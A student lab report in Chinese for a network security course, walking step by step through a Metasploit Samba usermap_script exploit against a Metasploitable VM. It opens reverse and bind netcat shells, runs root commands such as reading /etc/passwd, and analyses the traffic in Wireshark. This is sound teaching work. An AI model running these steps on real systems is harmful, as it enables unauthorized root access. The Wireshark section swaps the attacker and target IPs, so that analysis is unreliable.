# 20251901 2024-2025-2 《网络攻防实践》实验七
目录
实验七 Linux操作系统攻防
实践内容:
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
一、实验任务
- 本次实验分为两个核心部分,分别是Linux远程渗透攻击实践和攻防对抗实践,具体内容如下:
- 使用Metasploit进行Linux远程渗透攻击:
利用Metasploit渗透测试软件,攻击Linux靶机上Samba服务的Usermap_script安全漏洞,获取靶机的主机访问权限,具体步骤需遵循:①启动Metasploit软件;②加载渗透攻击模块:选用exploit/multi/samba/usermap_script模块;③选择攻击Payload:选用远程Shell载荷,可选择正向连接或反向连接,本次实验分别尝试反向连接(cmd/unix/reverse_netcat)和正向连接(cmd/unix/bind_netcat)两种方式。;④设置渗透攻击参数;⑤执行渗透攻击;⑥权限验证:在远程Shell中执行相关命令,查看获得的权限及靶机系统信息。 - 攻防对抗实践:
核心任务:分为攻击方和防守方两个角色,完成完整的攻防对抗,具体要求如下:
攻击方:使用Metasploit框架,利用Metasploitable靶机(本次为Metasploit_Ubuntu)中存在的Samba服务Usermap_script漏洞进行渗透攻击,获取靶机远程控制权,并尝试执行相关操作,验证权限范围。
防守方:使用Wireshark工具监听网络流量,捕获攻击过程中的数据包,分析攻击细节,包括攻击者IP、目标IP和端口、攻击发起时间、利用的漏洞、使用的Shellcode,以及攻击成功后攻击者在命令行输入的操作信息。
二、实验材料或资源
- Kali虚拟机
- Wireshark(kali虚拟机中自带)
- Metasploit框架(kali虚拟机中自带)
- Metasploit_Ubuntu虚拟机
- 实验所需的其他网络攻防工具
三、知识点梳理
-
1. Samba服务及Usermap_script漏洞原理
Samba服务是Linux系统中实现SMB/CIFS协议的重要软件,主要用于实现Linux与Windows主机之间的文件共享、打印共享和网络资源访问,默认运行在139和445端口,由于其广泛应用于局域网场景,成为攻击者的重点目标之一。
Usermap_script漏洞是Samba服务中存在的远程命令执行漏洞(RCE),该漏洞的核心成因是:Samba服务的用户名映射功能在处理用户输入时,未对输入内容进行充分的过滤和安全校验。当攻击者在用户名字段中构造特殊字符或命令片段时,会诱导Samba服务在执行用户名映射脚本时,附带执行攻击者构造的恶意系统命令,进而实现远程命令执行,最终获取靶机的访问权限。
该漏洞的危险性在于,攻击者无需提前获取靶机的账号密码,只要靶机Samba服务存在该漏洞且网络可达,即可发起远程攻击,这也是本次实验选择该漏洞的核心原因:漏洞利用门槛低、成功率高。 -
2. Metasploit框架原理
Metasploit是一款开源的渗透测试框架,核心功能是整合漏洞利用模块、Payload(攻击载荷)和辅助工具,简化渗透攻击的流程,让攻击者能够快速、高效地利用已知漏洞发起攻击,广泛应用于网络安全渗透测试和攻防实验中。
Metasploit的核心组成部分包括:
(1)Exploit(漏洞利用模块):用于利用目标系统的已知漏洞,突破系统防御,为Payload的执行创造条件,本次实验使用的exploit/multi/samba/usermap_script就是专门针对Samba Usermap_script漏洞的利用模块。
(2)Payload(攻击载荷):是攻击成功后在靶机上执行的代码,核心目的是建立攻击者与靶机之间的连接,让攻击者获得靶机的控制权。本次实验使用的reverse_netcat(反向连接)和bind_netcat(正向连接)均属于远程ShellPayload,用于获取靶机的交互式命令行访问权限。
(3)Auxiliary(辅助模块):用于信息收集、端口扫描、漏洞探测等前期准备工作,为渗透攻击提供支撑。
Metasploit的核心优势的是“自动化”和“模块化”,无需实验者手动编写漏洞利用代码,只需加载对应模块、配置参数,即可发起攻击,极大降低了渗透攻击的技术门槛 -
3. 远程Shell(正向/反向连接)原理
远程Shell是攻击者通过网络控制靶机命令行的核心方式,分为正向连接和反向连接两种,二者的核心区别在于连接的发起方不同,适用于不同的网络环境:
反向连接(reverse_netcat):由靶机主动向攻击机发起连接,攻击机提前在指定端口监听,等待靶机连接。这种方式的优势是可以绕过靶机的防火墙(防火墙通常禁止外部主动连接内部,但允许内部主动连接外部),本次实验优先选择这种方式,确保攻击成功率。
正向连接(bind_netcat):由攻击机主动向靶机发起连接,靶机提前在指定端口监听,等待攻击机连接。这种方式的优势是配置简单,但容易被靶机防火墙拦截,适合靶机防火墙未限制外部连接的场景。
两种连接方式的核心目的都是建立攻击者与靶机之间的交互式通信通道,让攻击者能够通过命令行执行靶机上的操作,获取靶机的访问权限。
总之,Samba服务的Usermap_script漏洞是攻击的入口,Metasploit框架是实现攻击的工具,远程Shell是获取靶机控制权的核心方式,Wireshark是防守方分析攻击、追溯攻击痕迹的关键工具。理解这些知识点,能够帮助我们明确“为什么要这样做”,而不是单纯机械地执行实验步骤,比如,知道Usermap_script漏洞的原理,就能理解为什么选择该模块进行攻击;知道反向连接的原理,就能理解为什么优先选择reverse_netcat载荷,同时也能理解防守方如何通过流量分析发现攻击痕迹。
四、实验思路
使用Metasploit进行远程渗透攻击的,在选择攻击Payload:选用远程Shell载荷,可选择正向连接或反向连接。本次实验的任务二相当于对任务一的一次实践,为了能更好地理解攻击过程,本次实验分别尝试反向连接(cmd/unix/reverse_netcat)和正向连接(cmd/unix/bind_netcat)两种方式。
- 实验环境准备与连通性验证
确认攻击机(Kali)和靶机(Metasploit_Ubuntu)的IP地址,验证两者之间的网络连通性。
网络连通性是渗透攻击的前提,如果攻击机和靶机无法通信,后续的漏洞利用、Payload执行都无法实现。 - 任务一:使用Metasploit进行Linux远程渗透攻击
结合Metasploit框架原理,先启动msfconsole,再通过search命令找到对应漏洞模块(search samba),加载模块后查看支持的Payload(show payloads),选择反向连接Payload(cmd/unix/reverse_netcat),配置RHOST(靶机IP)和LHOST(攻击机IP),确认参数无误后执行攻击(exploit),最后通过相关命令验证权限。 - 任务二:攻防对抗实践
和任务一的思路类似。首先确定好攻击机和靶机以及二者之间的连通性,后续思路与任务一的反向连接基本一致,但任务二中我们采用正向连接,仅需将Payload改为cmd/unix/bind_netcat,配置参数后发起攻击,攻击成功后执行ifconfig(查看靶机IP)、mkdir(创建文件夹)等命令,验证操作是否生效。
五、实验详细过程
5.1使用Metasploit进行Linux远程渗透攻击
(1)实验准备阶段
- 将攻击机靶机的网络适配器改为同一网络模式
- 查看攻击机、靶机IP:
攻击机:kali——192.168.188.10
靶机:Metasploit_Ubuntu——192.168.188.125
![image]()
![image]()
- 验证与靶机的网络连通性
网络连通性是渗透攻击的前提,如果攻击机和靶机无法通信,后续的漏洞利用、Payload执行都无法实现。
![image]()
![image]()
结果显示攻击机靶机可以互通,数据包0丢失.
(2)实验执行阶段
- 在Kali终端以root权限启动Metasploit框架控制台。Metasploit有msfconsole、msfgui(图形界面)、msfweb(网页界面)三种启动方式,其中msfconsole兼容性最好、功能最全面,能够完成所有实验操作,且命令行模式更适合后续命令的执行和结果查看
输入命令:msfconsole
![image]()
- 在 msfconsole 中搜索Samba服务Usermap_script漏洞对应的攻击模块:
search samba
“search”是Metasploit的搜索命令,后面跟随搜索关键词(此处为samba),即可找到所有与Samba相关的模块。我们需要找到针对Samba服务Usermap_script漏洞的利用模块。
![image]()
![image]()
搜索结果中会出现多个与Samba相关的模块,其中“exploit/multi/samba/usermap_script”模块的评级为绿色字体的“excellent”(优秀),说明该模块攻击成功率高,适合本次实验使用。 - 加载该漏洞利用模块:
use exploit/multi/samba/usermap_script
加载指定的漏洞利用模块,“use”是Metasploit中加载模块的命令,后面跟随模块的完整路径(此处为exploit/multi/samba/usermap_script),加载后,后续的操作都将围绕该模块展开。我们已经通过search命令找到了Usermap_script漏洞的利用模块,只有加载该模块,才能进行后续的Payload选择、参数配置和攻击执行,这是漏洞利用的核心步骤。
![image]()
- 查看该模块支持的所有Payload:
show payloads
查看当前加载的漏洞模块支持的所有Payload(攻击载荷),“show payloads”命令会列出所有兼容的Payload,包括Payload的名称、描述、类型等信息。不同的漏洞模块支持的Payload不同,我们需要选择适合的远程ShellPayload(正向或反向连接),因此需要先通过show payloads命令查看可用的Payload,再根据实验需求选择。
![image]()
列出多个Payload,其中包括“cmd/unix/reverse_netcat”(反向连接)和“cmd/unix/bind_netcat”(正向连接)等远程ShellPayload。 - 选择反向连接Payload(cmd/unix/reverse_netcat):
set payload cmd/unix/reverse_netcat
设置攻击Payload为反向连接Shell(cmd/unix/reverse_netcat),“set”是Metasploit中设置参数、Payload的命令,后面跟随“payload”和Payload的完整名称。如原理部分所述,反向连接由靶机主动向攻击机发起连接,能够绕过靶机防火墙,攻击成功率更高,适合新手入门,因此优先选择该Payload。
![image]()
- 查看模块与Payload的必填配置项:
show options
查看当前模块和Payload的所有配置项,包括必填项(Required为Yes)和可选项(Required为No),明确需要配置的核心参数。不同的模块和Payload需要配置不同的参数,若参数配置错误或缺失,会导致攻击失败。通过show options命令,我们可以明确需要配置哪些参数(如RHOST、LHOST),避免遗漏或配置错误。
![image]()
结果列出所有配置项,其中RHOST(靶机IP)、LHOST(攻击机IP)为必填项,此时显示为“未设置”(empty),需要我们手动配置。 - 配置核心参数
set RHOST 192.168.188.125、set LHOST 192.168.188.10
设置RHOST(远程目标主机IP)为靶机IP(192.168.188.125),RHOST是渗透攻击中最核心的参数之一,用于指定攻击目标。设置LHOST(本地监听主机IP)为攻击机IP(192.168.188.10),LHOST用于指定攻击机的IP地址,让靶机能够找到攻击机,建立反向连接。
![image]()
- 配置完成后,再次执行
show options命令,确认所有必填参数配置无误
![image]()
- 发起渗透攻击:
exploit
发起渗透攻击的命令,执行该命令后,Metasploit会利用加载的漏洞模块和配置的Payload,向靶机发起攻击,尝试获取远程Shell。这是渗透攻击的核心执行命令,所有的前期准备(加载模块、配置参数、选择Payload)都是为了这一步,执行后即可验证攻击是否成功。
![image]()
终端显示“Started reverse TCP handler on 192.168.188.10:4444”(攻击机在4444端口监听)。随后显示“Command shell session 1 opened”,说明攻击成功,已建立与靶机的远程Shell连接,进入靶机的交互式命令行。 - 攻击成功后,在远程Shell中执行相关命令,验证权限:-
whoami:查看当前登录靶机的用户身份,确认获得的权限;
ifconfig:查看靶机的网络配置,确认当前控制的是目标靶机;
pwd:查看当前所在的工作目录,了解靶机的文件结构;
ls:查看当前目录下的文件和文件夹;
cat /etc/passwd:查看靶机的所有用户信息,了解靶机的用户配置。
![image]()
![image]()
![image]()
结果:能够正常执行所有命令,显示对应的信息,例如whoami显示当前用户为“root”(说明获得了最高权限),ifconfig显示靶机IP为192.168.188.125,cat /etc/passwd显示靶机的所有用户列表。
5.2 攻防对抗实践
- 攻击方:kali:192.168.188.10
防守方:Metasploit:192.168.188.125 - 在Kali终端以root权限重新启动msfconsole
![image]()
- 搜索Samba服务Usermap_script漏洞对应的攻击模块:
use exploit/multi/samba/usermap_script、show payloads - 加载exploit/multi/samba/usermap_script模块
![image]()
- 查看该模块支持的Payload,选择正向连接Payload(cmd/unix/bind_netcat):
set payload cmd/unix/bind_netcat
设置攻击Payload为正向连接Shell(cmd/unix/bind_netcat),与反向连接不同,正向连接由攻击机主动向靶机发起连接,靶机会在指定端口监听。
![image]()
![image]()
- 配置核心参数(RHOST、LHOST),验证参数配置无误
show options、set RHOST 192.168.188.125、set LHOST 192.168.188.10、show options
![image]()
![image]()
![image]()
- 发起渗透攻击:
exploit
发起正向连接渗透攻击,与反向连接的攻击命令一致,但连接建立的逻辑不同(正向连接由攻击机主动连接靶机)。
![image]()
终端显示“Command shell session 2 opened”,说明攻击成功,建立正向连接的远程Shell。 - 攻击成功后执行相关命令,验证权限:
ifconfig、mkdir 20251901(创建文件夹)、pwd、touch test.txt(创建新的空文件)
![image]()
![image]()
![image]()
- 在靶机中进行查看验证
![image]()
![image]()
即证明攻击成功。 - 同时打开Wireshark工具,选择监听攻击机与靶机通信的网络接口(eth0),进行监听
![image]()
(本截图截取的时机稍微早了一点,但不影响分析)从图中我们可以看出:
攻击者(攻击机)IP:192.168.188.125(流量的发送方,主动发起连接、发送 SMB 请求和攻击载荷)
被攻击者(靶机)IP:192.168.188.10(流量的接收方,响应 SMB 协商,同时也是发送RST包的一方)
靶机的目标端口:139(SMB 服务的端口,Windows/Linux 的 Samba 文件共享服务默认监听这个端口,我们这次攻击就是针对这个服务的漏洞)
攻击机的反弹 / 连接端口:4444(我们配置的反弹 Shell 监听端口,后续的 TCP 连接都是围绕这个端口建立的) - 然后最终数据包的TCP流
![image]()
我们可以看到其中显示出我们在拿到靶机shell之后的一系列操作过程,验证攻击成功。
六、实验过程中遇到的问题及解决
- 1.在进行攻防实践的过程中,本想针对靶机vsftpd_234_backdoor漏洞进行后门攻击,但发现总是攻击不成功
- 报错:
![image]()
![image]()
![image]()
- 问题解决:后来发现,靶机跑的是ProFTPD,而我们用的vsftpd_234_backdoor 漏洞,是专门给vsftpd 2.3.4版本用的。两者完全不是一个软件,所以漏洞自然不会生效,也就出现了 Exploit completed, but no session was created 的提示。
vsftpd_234_backdoor 这个漏洞,是vsftpd 2.3.4版本里被植入的恶意后门。只有当靶机的FTP服务是vsftpd 2.3.4版本时,漏洞才会生效,触发后会开放6200端口。靶机是 ProFTPD 1.3.1,和vsftpd完全不兼容,所以漏洞模块执行后,根本无法触发后门,自然拿不到会话。
Metasploit的这个模块,只是按vsftpd的后门触发逻辑,发送了恶意的USER命令(包含:)),但ProFTPD收到后只会当成普通的用户名处理,不会触发任何后门,所以模块流程走完了,但什么都没发生。
然后我从官网https://www.rapid7.com/products/metasploit/metasploitable/ 重新下载了Metasploitable虚拟机,新的虚拟机中版本对应,可以针对vsftpd_234_backdoor漏洞完成攻击。
![image]()
七、学习收获及感想
- 通过本次实验,我深刻认识到理解原理的重要性。在实验初期,我曾对攻击中执行的命令一知半解,并不理解每一步操作的意义,比如不知道为什么选择反向连接Payload,导致遇到问题时无法快速解决。后来,通过梳理实验原理和知识点,我逐渐理解了每个命令、每个步骤的背后逻辑,不仅能够顺利完成实验,还能在遇到问题时快速定位原因、解决问题。这让我明白,网络攻防不是机械执行命令,而是基于原理的灵活运用,只有掌握了核心原理,才能真正掌握攻防技术,应对各种复杂的网络环境。
- 其次,通过本次实验,我比之前都更加理解了wireshark工具的使用方法——
首先,最基础的,在Wireshark图形界面中,选择攻击机与靶机通信的网络接口(如eth0,可通过ifconfig命令查看攻击机的网络接口)。我们需要捕获攻击机与靶机之间的通信流量,因此必须选择正确的网络接口,否则会捕获到无关的网络流量(如攻击机与互联网的通信),增加分析难度;提前开始捕获,确保整个攻击过程的数据包都能被记录。 - 如何从 Wireshark 判断攻击是否成功:
第一步:看攻击载荷有没有成功投递——需要先找到攻击对应的流量流(比如 SMB、HTTP、TCP 等),看是否出现了攻击载荷的明文/加密内容;第二步:看反弹 Shell/控制通道是否建立。看是否出现了新的 TCP 连接,也就是配置的LHOST和LPORT对应的流量,是否有完整的 TCP 三次握手:SYN → SYN+ACK → ACK、持续的PSH/ACK包等。第三步:看有没有交互式命令回显,即我们追踪数据包的TCP流,看能否看到输入的命令等。




































浙公网安备 33010602011771号